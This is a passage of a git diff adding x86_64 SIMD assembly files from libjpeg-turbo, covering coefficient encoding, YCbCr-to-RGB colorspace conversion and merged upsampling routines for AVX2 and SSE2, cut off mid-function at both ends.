X1 + pcmpeqw X0, ONE + pcmpeqw X1, ONE + packsswb N0, N1 + packsswb X0, X1 + pmovmskb T0d, N0 ; lsignbits.val16u[k >> 4] = _mm_movemask_epi8(neg); + pmovmskb T1d, X0 ; idx = _mm_movemask_epi8(x1); + shr SIGN, 16 ; make room for sizebits + shl T0, 48 + or SIGN, T0 + bsr T1d, T1d ; idx = 16 - (__builtin_clz(idx) >> 1); + jz .CONTINUER15 ; if (idx) { + mov EOB, KK + add EOB, T1d ; EOB = k + idx; +.CONTINUER15: + add VALUES, 16 * 2 + jmp .PADDINGR +.TRYR8: + LOAD8 + + pcmpgtw N0, X0 + paddw X0, N0 + pxor X0, N0 + psrlw X0, AL + movdqa XMMWORD [VALUES + (0) * 2], X0 + pcmpeqw X0, ONE + packsswb N0, ZERO + packsswb X0, ZERO + pmovmskb T0d, N0 ; lsignbits.val16u[k >> 4] = _mm_movemask_epi8(neg); + pmovmskb T1d, X0 ; idx = _mm_movemask_epi8(x1); + shr SIGN, 8 ; make room for sizebits + shl T0, 56 + or SIGN, T0 + bsr T1d, T1d ; idx = 16 - (__builtin_clz(idx) >> 1); + jz .CONTINUER8 ; if (idx) { + mov EOB, KK + add EOB, T1d ; EOB = k + idx; +.CONTINUER8: + add VALUES, 8 * 2 + jmp .PADDINGR +.TRYR7: + LOAD7 + + pcmpgtw N0, X0 + paddw X0, N0 + pxor X0, N0 + psrlw X0, AL + movdqa XMMWORD [VALUES + (0) * 2], X0 + pcmpeqw X0, ONE + packsswb N0, ZERO + packsswb X0, ZERO + pmovmskb T0d, N0 ; lsignbits.val16u[k >> 4] = _mm_movemask_epi8(neg); + pmovmskb T1d, X0 ; idx = _mm_movemask_epi8(x1); + shr SIGN, 8 ; make room for sizebits + shl T0, 56 + or SIGN, T0 + bsr T1d, T1d ; idx = 16 - (__builtin_clz(idx) >> 1); + jz .CONTINUER7 ; if (idx) { + mov EOB, KK + add EOB, T1d ; EOB = k + idx; +.CONTINUER7: + add VALUES, 8 * 2 +.PADDINGR: + mov K, LEN + add K, 7 + and K, -8 + shr K, 3 + sub K, DCTSIZE2 / 8 + jz .EPADDINGR + align 16 +.ZEROLOOPR: + movdqa XMMWORD [VALUES + 0], ZERO + shr SIGN, 8 + add VALUES, 8 * 2 + inc K + jnz .ZEROLOOPR +.EPADDINGR: + not SIGN + sub VALUES, DCTSIZE2 * 2 + mov MMWORD [r15 + SIZEOF_MMWORD], SIGN + + REDUCE0 + + mov eax, EOB + UNCOLLECT_ARGS 6 + movdqa ZERO, XMMWORD [rsp] + mov rsp, rbp + pop rbp + ret + +%undef ZERO +%undef ONE +%undef X0 +%undef X1 +%undef N0 +%undef N1 +%undef AL +%undef K +%undef KK +%undef EOB +%undef SIGN +%undef LUT +%undef T0 +%undef T0d +%undef T1 +%undef T1d +%undef BLOCK +%undef VALUES +%undef LEN +%undef LENEND + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jdcolor-avx2.asm b/lib/libjpeg-turbo/simd/x86_64/jdcolor-avx2.asm new file mode 100755 index 0000000..3c76ad6 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jdcolor-avx2.asm @@ -0,0 +1,114 @@ +; +; Colorspace conversion (64-bit AVX2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024, D. R. Commander. +; Copyright (C) 2015, Intel Corporation. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" + +; -------------------------------------------------------------------------- + +%define SCALEBITS 16 + +F_0_344 equ 22554 ; FIX(0.34414) +F_0_714 equ 46802 ; FIX(0.71414) +F_1_402 equ 91881 ; FIX(1.40200) +F_1_772 equ 116130 ; FIX(1.77200) +F_0_402 equ (F_1_402 - 65536) ; FIX(1.40200) - FIX(1) +F_0_285 equ ( 65536 - F_0_714) ; FIX(1) - FIX(0.71414) +F_0_228 equ (131072 - F_1_772) ; FIX(2) - FIX(1.77200) + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_ycc_rgb_convert_avx2) + +EXTN(jconst_ycc_rgb_convert_avx2): + +PW_F0402 times 16 dw F_0_402 +PW_MF0228 times 16 dw -F_0_228 +PW_MF0344_F0285 times 8 dw -F_0_344, F_0_285 +PW_ONE times 16 dw 1 +PD_ONEHALF times 8 dd 1 << (SCALEBITS - 1) + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +%include "jdcolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGB_RED +%define RGB_GREEN EXT_RGB_GREEN +%define RGB_BLUE EXT_RGB_BLUE +%define RGB_PIXELSIZE EXT_RGB_PIXELSIZE +%define jsimd_ycc_rgb_convert_avx2 jsimd_ycc_extrgb_convert_avx2 +%include "jdcolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGBX_RED +%define RGB_GREEN EXT_RGBX_GREEN +%define RGB_BLUE EXT_RGBX_BLUE +%define RGB_PIXELSIZE EXT_RGBX_PIXELSIZE +%define jsimd_ycc_rgb_convert_avx2 jsimd_ycc_extrgbx_convert_avx2 +%include "jdcolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGR_RED +%define RGB_GREEN EXT_BGR_GREEN +%define RGB_BLUE EXT_BGR_BLUE +%define RGB_PIXELSIZE EXT_BGR_PIXELSIZE +%define jsimd_ycc_rgb_convert_avx2 jsimd_ycc_extbgr_convert_avx2 +%include "jdcolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGRX_RED +%define RGB_GREEN EXT_BGRX_GREEN +%define RGB_BLUE EXT_BGRX_BLUE +%define RGB_PIXELSIZE EXT_BGRX_PIXELSIZE +%define jsimd_ycc_rgb_convert_avx2 jsimd_ycc_extbgrx_convert_avx2 +%include "jdcolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XBGR_RED +%define RGB_GREEN EXT_XBGR_GREEN +%define RGB_BLUE EXT_XBGR_BLUE +%define RGB_PIXELSIZE EXT_XBGR_PIXELSIZE +%define jsimd_ycc_rgb_convert_avx2 jsimd_ycc_extxbgr_convert_avx2 +%include "jdcolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XRGB_RED +%define RGB_GREEN EXT_XRGB_GREEN +%define RGB_BLUE EXT_XRGB_BLUE +%define RGB_PIXELSIZE EXT_XRGB_PIXELSIZE +%define jsimd_ycc_rgb_convert_avx2 jsimd_ycc_extxrgb_convert_avx2 +%include "jdcolext-avx2.asm" diff --git a/lib/libjpeg-turbo/simd/x86_64/jdcolor-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jdcolor-sse2.asm new file mode 100755 index 0000000..4886b8e --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jdcolor-sse2.asm @@ -0,0 +1,113 @@ +; +; Colorspace conversion (64-bit SSE2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024, D. R. Commander. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" + +; -------------------------------------------------------------------------- + +%define SCALEBITS 16 + +F_0_344 equ 22554 ; FIX(0.34414) +F_0_714 equ 46802 ; FIX(0.71414) +F_1_402 equ 91881 ; FIX(1.40200) +F_1_772 equ 116130 ; FIX(1.77200) +F_0_402 equ (F_1_402 - 65536) ; FIX(1.40200) - FIX(1) +F_0_285 equ ( 65536 - F_0_714) ; FIX(1) - FIX(0.71414) +F_0_228 equ (131072 - F_1_772) ; FIX(2) - FIX(1.77200) + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_ycc_rgb_convert_sse2) + +EXTN(jconst_ycc_rgb_convert_sse2): + +PW_F0402 times 8 dw F_0_402 +PW_MF0228 times 8 dw -F_0_228 +PW_MF0344_F0285 times 4 dw -F_0_344, F_0_285 +PW_ONE times 8 dw 1 +PD_ONEHALF times 4 dd 1 << (SCALEBITS - 1) + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +%include "jdcolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGB_RED +%define RGB_GREEN EXT_RGB_GREEN +%define RGB_BLUE EXT_RGB_BLUE +%define RGB_PIXELSIZE EXT_RGB_PIXELSIZE +%define jsimd_ycc_rgb_convert_sse2 jsimd_ycc_extrgb_convert_sse2 +%include "jdcolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGBX_RED +%define RGB_GREEN EXT_RGBX_GREEN +%define RGB_BLUE EXT_RGBX_BLUE +%define RGB_PIXELSIZE EXT_RGBX_PIXELSIZE +%define jsimd_ycc_rgb_convert_sse2 jsimd_ycc_extrgbx_convert_sse2 +%include "jdcolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGR_RED +%define RGB_GREEN EXT_BGR_GREEN +%define RGB_BLUE EXT_BGR_BLUE +%define RGB_PIXELSIZE EXT_BGR_PIXELSIZE +%define jsimd_ycc_rgb_convert_sse2 jsimd_ycc_extbgr_convert_sse2 +%include "jdcolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGRX_RED +%define RGB_GREEN EXT_BGRX_GREEN +%define RGB_BLUE EXT_BGRX_BLUE +%define RGB_PIXELSIZE EXT_BGRX_PIXELSIZE +%define jsimd_ycc_rgb_convert_sse2 jsimd_ycc_extbgrx_convert_sse2 +%include "jdcolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XBGR_RED +%define RGB_GREEN EXT_XBGR_GREEN +%define RGB_BLUE EXT_XBGR_BLUE +%define RGB_PIXELSIZE EXT_XBGR_PIXELSIZE +%define jsimd_ycc_rgb_convert_sse2 jsimd_ycc_extxbgr_convert_sse2 +%include "jdcolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XRGB_RED +%define RGB_GREEN EXT_XRGB_GREEN +%define RGB_BLUE EXT_XRGB_BLUE +%define RGB_PIXELSIZE EXT_XRGB_PIXELSIZE +%define jsimd_ycc_rgb_convert_sse2 jsimd_ycc_extxrgb_convert_sse2 +%include "jdcolext-sse2.asm" diff --git a/lib/libjpeg-turbo/simd/x86_64/jdmerge-avx2.asm b/lib/libjpeg-turbo/simd/x86_64/jdmerge-avx2.asm new file mode 100755 index 0000000..c3171db --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jdmerge-avx2.asm @@ -0,0 +1,132 @@ +; +; Merged upsampling/color conversion (64-bit AVX2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024, D. R. Commander. +; Copyright (C) 2015, Intel Corporation. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" + +; -------------------------------------------------------------------------- + +%define SCALEBITS 16 + +F_0_344 equ 22554 ; FIX(0.34414) +F_0_714 equ 46802 ; FIX(0.71414) +F_1_402 equ 91881 ; FIX(1.40200) +F_1_772 equ 116130 ; FIX(1.77200) +F_0_402 equ (F_1_402 - 65536) ; FIX(1.40200) - FIX(1) +F_0_285 equ ( 65536 - F_0_714) ; FIX(1) - FIX(0.71414) +F_0_228 equ (131072 - F_1_772) ; FIX(2) - FIX(1.77200) + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_merged_upsample_avx2) + +EXTN(jconst_merged_upsample_avx2): + +PW_F0402 times 16 dw F_0_402 +PW_MF0228 times 16 dw -F_0_228 +PW_MF0344_F0285 times 8 dw -F_0_344, F_0_285 +PW_ONE times 16 dw 1 +PD_ONEHALF times 8 dd 1 << (SCALEBITS - 1) + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +%include "jdmrgext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGB_RED +%define RGB_GREEN EXT_RGB_GREEN +%define RGB_BLUE EXT_RGB_BLUE +%define RGB_PIXELSIZE EXT_RGB_PIXELSIZE +%define jsimd_h2v1_merged_upsample_avx2 \ + jsimd_h2v1_extrgb_merged_upsample_avx2 +%define jsimd_h2v2_merged_upsample_avx2 \ + jsimd_h2v2_extrgb_merged_upsample_avx2 +%include "jdmrgext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGBX_RED +%define RGB_GREEN EXT_RGBX_GREEN +%define RGB_BLUE EXT_RGBX_BLUE +%define RGB_PIXELSIZE EXT_RGBX_PIXELSIZE +%define jsimd_h2v1_merged_upsample_avx2 \ + jsimd_h2v1_extrgbx_merged_upsample_avx2 +%define jsimd_h2v2_merged_upsample_avx2 \ + jsimd_h2v2_extrgbx_merged_upsample_avx2 +%include "jdmrgext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGR_RED +%define RGB_GREEN EXT_BGR_GREEN +%define RGB_BLUE EXT_BGR_BLUE +%define RGB_PIXELSIZE EXT_BGR_PIXELSIZE +%define jsimd_h2v1_merged_upsample_avx2 \ + jsimd_h2v1_extbgr_merged_upsample_avx2 +%define jsimd_h2v2_merged_upsample_avx2 \ + jsimd_h2v2_extbgr_merged_upsample_avx2 +%include "jdmrgext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGRX_RED +%define RGB_GREEN EXT_BGRX_GREEN +%define RGB_BLUE EXT_BGRX_BLUE +%define RGB_PIXELSIZE EXT_BGRX_PIXELSIZE +%define jsimd_h2v1_merged_upsample_avx2 \ + jsimd_h2v1_extbgrx_merged_upsample_avx2 +%define jsimd_h2v2_merged_upsample_avx2 \ + jsimd_h2v2_extbgrx_merged_upsample_avx2 +%include "jdmrgext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XBGR_RED +%define RGB_GREEN EXT_XBGR_GREEN +%define RGB_BLUE EXT_XBGR_BLUE +%define RGB_PIXELSIZE EXT_XBGR_PIXELSIZE +%define jsimd_h2v1_merged_upsample_avx2 \ + jsimd_h2v1_extxbgr_merged_upsample_avx2 +%define jsimd_h2v2_merged_upsample_avx2 \ + jsimd_h2v2_extxbgr_merged_upsample_avx2 +%include "jdmrgext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XRGB_RED +%define RGB_GREEN EXT_XRGB_GREEN +%define RGB_BLUE EXT_XRGB_BLUE +%define RGB_PIXELSIZE EXT_XRGB_PIXELSIZE +%define jsimd_h2v1_merged_upsample_avx2 \ + jsimd_h2v1_extxrgb_merged_upsample_avx2 +%define jsimd_h2v2_merged_upsample_avx2 \ + jsimd_h2v2_extxrgb_merged_upsample_avx2 +%include "jdmrgext-avx2.asm" diff --git a/lib/libjpeg-turbo/simd/x86_64/jdmrgext-avx2.asm b/lib/libjpeg-turbo/simd/x86_64/jdmrgext-avx2.asm new file mode 100755 index 0000000..c2d51aa --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jdmrgext-avx2.asm @@ -0,0 +1,658 @@ +; +; Merged upsampling/color conversion (64-bit AVX2) +; +; Copyright 2009, 2012 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2012, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2015, Intel Corporation. +; Copyright (C) 2018, Matthias Räncker. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jcolsamp.inc" + +; -------------------------------------------------------------------------- +; +; Upsample and color convert for the case of 2:1 horizontal and 1:1 vertical. +; +; GLOBAL(void) +; jsimd_h2v1_merged_upsample_avx2(JDIMENSION output_width, +; JSAMPIMAGE input_buf, +; JDIMENSION in_row_group_ctr, +; JSAMPARRAY output_buf) +; +; r10d = JDIMENSION output_width +; r11 = JSAMPIMAGE input_buf +; r12d = JDIMENSION in_row_group_ctr +; r13 = JSAMPARRAY output_buf + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_YMMWORD ; ymmword wk[WK_NUM] +%define WK_NUM 3 + + align 32 + GLOBAL_FUNCTION(jsimd_h2v1_merged_upsample_avx2) + +EXTN(jsimd_h2v1_merged_upsample_avx2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_YMMWORD) ; align to 256 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, SIZEOF_YMMWORD * WK_NUM + COLLECT_ARGS 4 + push rbx + + mov ecx, r10d ; col + test rcx, rcx + jz near .return + + push rcx + + mov rdi, r11 + mov ecx, r12d + mov rsip, JSAMPARRAY [rdi + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rdi + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rdi + 2 * SIZEOF_JSAMPARRAY] + mov rdi, r13 + mov rsip, JSAMPROW [rsi + rcx * SIZEOF_JSAMPROW] ; inptr0 + mov rbxp, JSAMPROW [rbx + rcx * SIZEOF_JSAMPROW] ; inptr1 + mov rdxp, JSAMPROW [rdx + rcx * SIZEOF_JSAMPROW] ; inptr2 + mov rdip, JSAMPROW [rdi] ; outptr + + pop rcx ; col + +.columnloop: + + vmovdqu ymm6, YMMWORD [rbx] + ; ymm6 = Cb(0123456789abcdefghijklmnopqrstuv) + vmovdqu ymm7, YMMWORD [rdx] + ; ymm7 = Cr(0123456789abcdefghijklmnopqrstuv) + + vpxor ymm1, ymm1, ymm1 ; ymm1 = (all 0's) + vpcmpeqw ymm3, ymm3, ymm3 + vpsllw ymm3, ymm3, 7 ; ymm3 = { 0xFF80 0xFF80 0xFF80 0xFF80 .. } + + vpermq ymm6, ymm6, 0xd8 ; ymm6 = Cb(01234567ghijklmn89abcdefopqrstuv) + vpermq ymm7, ymm7, 0xd8 ; ymm7 = Cr(01234567ghijklmn89abcdefopqrstuv) + vpunpcklbw ymm4, ymm6, ymm1 ; ymm4 = Cb(0123456789abcdef) = CbL + vpunpckhbw ymm6, ymm6, ymm1 ; ymm6 = Cb(ghijklmnopqrstuv) = CbH + vpunpcklbw ymm0, ymm7, ymm1 ; ymm0 = Cr(0123456789abcdef) = CrL + vpunpckhbw ymm7, ymm7, ymm1 ; ymm7 = Cr(ghijklmnopqrstuv) = CrH + + vpaddw ymm5, ymm6, ymm3 + vpaddw ymm2, ymm4, ymm3 + vpaddw ymm1, ymm7, ymm3 + vpaddw ymm3, ymm0, ymm3 + + ; (Original) + ; R = Y + 1.40200 * Cr + ; G = Y - 0.34414 * Cb - 0.71414 * Cr + ; B = Y + 1.77200 * Cb + ; + ; (This implementation) + ; R = Y + 0.40200 * Cr + Cr + ; G = Y - 0.34414 * Cb + 0.28586 * Cr - Cr + ; B = Y - 0.22800 * Cb + Cb + Cb + + vpaddw ymm6, ymm5, ymm5 ; ymm6 = 2 * CbH + vpaddw ymm4, ymm2, ymm2 ; ymm4 = 2 * CbL + vpaddw ymm7, ymm1, ymm1 ; ymm7 = 2 * CrH + vpaddw ymm0, ymm3, ymm3 ; ymm0 = 2 * CrL + + vpmulhw ymm6, ymm6, [rel PW_MF0228] ; ymm6 = (2 * CbH * -FIX(0.22800)) + vpmulhw ymm4, ymm4, [rel PW_MF0228] ; ymm4 = (2 * CbL * -FIX(0.22800)) + vpmulhw ymm7, ymm7, [rel PW_F0402] ; ymm7 = (2 * CrH * FIX(0.40200)) + vpmulhw ymm0, ymm0, [rel PW_F0402] ; ymm0 = (2 * CrL * FIX(0.40200)) + + vpaddw ymm6, ymm6, [rel PW_ONE] + vpaddw ymm4, ymm4, [rel PW_ONE] + vpsraw ymm6, ymm6, 1 ; ymm6 = (CbH * -FIX(0.22800)) + vpsraw ymm4, ymm4, 1 ; ymm4 = (CbL * -FIX(0.22800)) + vpaddw ymm7, ymm7, [rel PW_ONE] + vpaddw ymm0, ymm0, [rel PW_ONE] + vpsraw ymm7, ymm7, 1 ; ymm7 = (CrH * FIX(0.40200)) + vpsraw ymm0, ymm0, 1 ; ymm0 = (CrL * FIX(0.40200)) + + vpaddw ymm6, ymm6, ymm5 + vpaddw ymm4, ymm4, ymm2 + vpaddw ymm6, ymm6, ymm5 ; ymm6 = (CbH * FIX(1.77200)) = (B - Y)H + vpaddw ymm4, ymm4, ymm2 ; ymm4 = (CbL * FIX(1.77200)) = (B - Y)L + vpaddw ymm7, ymm7, ymm1 ; ymm7 = (CrH * FIX(1.40200)) = (R - Y)H + vpaddw ymm0, ymm0, ymm3 ; ymm0 = (CrL * FIX(1.40200)) = (R - Y)L + + vmovdqa YMMWORD [wk(0)], ymm6 ; wk(0) = (B - Y)H + vmovdqa YMMWORD [wk(1)], ymm7 ; wk(1) = (R - Y)H + + vpunpckhwd ymm6, ymm5, ymm1 + vpunpcklwd ymm5, ymm5, ymm1 + vpmaddwd ymm5, ymm5, [rel PW_MF0344_F0285] + vpmaddwd ymm6, ymm6, [rel PW_MF0344_F0285] + vpunpckhwd ymm7, ymm2, ymm3 + vpunpcklwd ymm2, ymm2, ymm3 + vpmaddwd ymm2, ymm2, [rel PW_MF0344_F0285] + vpmaddwd ymm7, ymm7, [rel PW_MF0344_F0285] + + vpaddd ymm5, ymm5, [rel PD_ONEHALF] + vpaddd ymm6, ymm6, [rel PD_ONEHALF] + vpsrad ymm5, ymm5, SCALEBITS + vpsrad ymm6, ymm6, SCALEBITS + vpaddd ymm2, ymm2, [rel PD_ONEHALF] + vpaddd ymm7, ymm7, [rel PD_ONEHALF] + vpsrad ymm2, ymm2, SCALEBITS + vpsrad ymm7, ymm7, SCALEBITS + + vpackssdw ymm5, ymm5, ymm6 + ; ymm5 = CbH * -FIX(0.344) + CrH * FIX(0.285) + vpackssdw ymm2, ymm2, ymm7 + ; ymm2 = CbL * -FIX(0.344) + CrL * FIX(0.285) + vpsubw ymm5, ymm5, ymm1 + ; ymm5 = CbH * -FIX(0.344) + CrH * -FIX(0.714) = (G - Y)H + vpsubw ymm2, ymm2, ymm3 + ; ymm2 = CbL * -FIX(0.344) + CrL * -FIX(0.714) = (G - Y)L + + vmovdqa YMMWORD [wk(2)], ymm5 ; wk(2) = (G - Y)H + + mov al, 2 ; Yctr + jmp short .Yloop_1st + +.Yloop_2nd: + vmovdqa ymm0, YMMWORD [wk(1)] ; ymm0 = (R - Y)H + vmovdqa ymm2, YMMWORD [wk(2)] ; ymm2 = (G - Y)H + vmovdqa ymm4, YMMWORD [wk(0)] ; ymm4 = (B - Y)H + +.Yloop_1st: + vmovdqu ymm7, YMMWORD [rsi] + ; ymm7 = Y(0123456789abcdefghijklmnopqrstuv) + + vpcmpeqw ymm6, ymm6, ymm6 + vpsrlw ymm6, ymm6, BYTE_BIT ; ymm6 = { 0xFF 0x00 0xFF 0x00 .. } + vpand ymm6, ymm6, ymm7 ; ymm6 = Y(02468acegikmoqsu) = YE + vpsrlw ymm7, ymm7, BYTE_BIT ; ymm7 = Y(13579bdfhjlnprtv) = YO + + vmovdqa ymm1, ymm0 ; ymm1 = ymm0 = (R - Y)(L / H) + vmovdqa ymm3, ymm2 ; ymm3 = ymm2 = (G - Y)(L / H) + vmovdqa ymm5, ymm4 ; ymm5 = ymm4 = (B - Y)(L / H) + + vpaddw ymm0, ymm0, ymm6 + ; ymm0 = ((R - Y) + YE) = RE = R(02468acegikmoqsu) + vpaddw ymm1, ymm1, ymm7 + ; ymm1 = ((R - Y) + YO) = RO = R(13579bdfhjlnprtv) + vpackuswb ymm0, ymm0, ymm0 ; ymm0 = R(02468ace********gikmoqsu********) + vpackuswb ymm1, ymm1, ymm1 ; ymm1 = R(13579bdf********hjlnprtv********) + + vpaddw ymm2, ymm2, ymm6 + ; ymm2 = ((G - Y) + YE) = GE = G(02468acegikmoqsu) + vpaddw ymm3, ymm3, ymm7 + ; ymm3 = ((G - Y) + YO) = GO = G(13579bdfhjlnprtv) + vpackuswb ymm2, ymm2, ymm2 ; ymm2 = G(02468ace********gikmoqsu********) + vpackuswb ymm3, ymm3, ymm3 ; ymm3 = G(13579bdf********hjlnprtv********) + + vpaddw ymm4, ymm4, ymm6 + ; ymm4 = ((B - Y) + YE) = BE = B(02468acegikmoqsu) + vpaddw ymm5, ymm5, ymm7 + ; ymm5 = ((B - Y) + YO) = BO = B(13579bdfhjlnprtv) + vpackuswb ymm4, ymm4, ymm4 ; ymm4 = B(02468ace********gikmoqsu********) + vpackuswb ymm5, ymm5, ymm5 ; ymm5 = B(13579bdf********hjlnprtv********) + +%if RGB_PIXELSIZE == 3 ; --------------- + + ; NOTE: The values of RGB_RED, RGB_GREEN, and RGB_BLUE determine the + ; mapping of components A, B, and C to red, green, and blue. + ; + ; ymmA = (A0 A2 A4 A6 A8 Aa Ac Ae Ag Ai Ak Am Ao Aq As Au) = AE + ; ymmB = (A1 A3 A5 A7 A9 Ab Ad Af Ah Aj Al An Ap Ar At Av) = AO + ; ymmC = (B0 B2 B4 B6 B8 Ba Bc Be Bg Bi Bk Bm Bo Bq Bs Bu) = BE + ; ymmD = (B1 B3 B5 B7 B9 Bb Bd Bf Bh Bj Bl Bn Bp Br Bt Bv) = BO + ; ymmE = (C0 C2 C4 C6 C8 Ca Cc Ce Cg Ci Ck Cm Co Cq Cs Cu) = CE + ; ymmF = (C1 C3 C5 C7 C9 Cb Cd Cf Ch Cj Cl Cn Cp Cr Ct Cv) = CO + ; ymmG = (** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **) + ; ymmH = (** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **) + + vpunpcklbw ymmA, ymmA, ymmC + ; ymmA = (A0 B0 A2 B2 A4 B4 A6 B6 A8 B8 Aa Ba Ac Bc Ae Be + ; Ag Bg Ai Bi Ak Bk Am Bm Ao Bo Aq Bq As Bs Au Bu) + vpunpcklbw ymmE, ymmE, ymmB + ; ymmE = (C0 A1 C2 A3 C4 A5 C6 A7 C8 A9 Ca Ab Cc Ad Ce Af + ; Cg Ah Ci Aj Ck Al Cm An Co Ap Cq Ar Cs At Cu Av) + vpunpcklbw ymmD, ymmD, ymmF + ; ymmD = (B1 C1 B3 C3 B5 C5 B7 C7 B9 C9 Bb Cb Bd Cd Bf Cf + ; Bh Ch Bj Cj Bl Cl Bn Cn Bp Cp Br Cr Bt Ct Bv Cv) + + vpsrldq ymmH, ymmA, 2 + ; ymmH = (A2 B2 A4 B4 A6 B6 A8 B8 Aa Ba Ac Bc Ae Be Ag Bg + ; Ai Bi Ak Bk Am Bm Ao Bo Aq Bq As Bs Au Bu -- --) + vpunpckhwd ymmG, ymmA, ymmE + ; ymmG = (A8 B8 C8 A9 Aa Ba Ca Ab Ac Bc Cc Ad Ae Be Ce Af + ; Ao Bo Co Ap Aq Bq Cq Ar As Bs Cs At Au Bu Cu Av) + vpunpcklwd ymmA, ymmA, ymmE + ; ymmA = (A0 B0 C0 A1 A2 B2 C2 A3 A4 B4 C4 A5 A6 B6 C6 A7 + ; Ag Bg Cg Ah Ai Bi Ci Aj Ak Bk Ck Al Am Bm Cm An) + + vpsrldq ymmE, ymmE, 2 + ; ymmE = (C2 A3 C4 A5 C6 A7 C8 A9 Ca Ab Cc Ad Ce Af Cg Ah + ; Ci Aj Ck Al Cm An Co Ap Cq Ar Cs At Cu Av -- --) + + vpsrldq ymmB, ymmD, 2 + ; ymmB = (B3 C3 B5 C5 B7 C7 B9 C9 Bb Cb Bd Cd Bf Cf Bh Ch + ; Bj Cj Bl Cl Bn Cn Bp Cp Br Cr Bt Ct Bv Cv -- --) + vpunpckhwd ymmC, ymmD, ymmH + ; ymmC = (B9 C9 Aa Ba Bb Cb Ac Bc Bd Cd Ae Be Bf Cf Ag Bg + ; Bp Cp Aq Bq Br 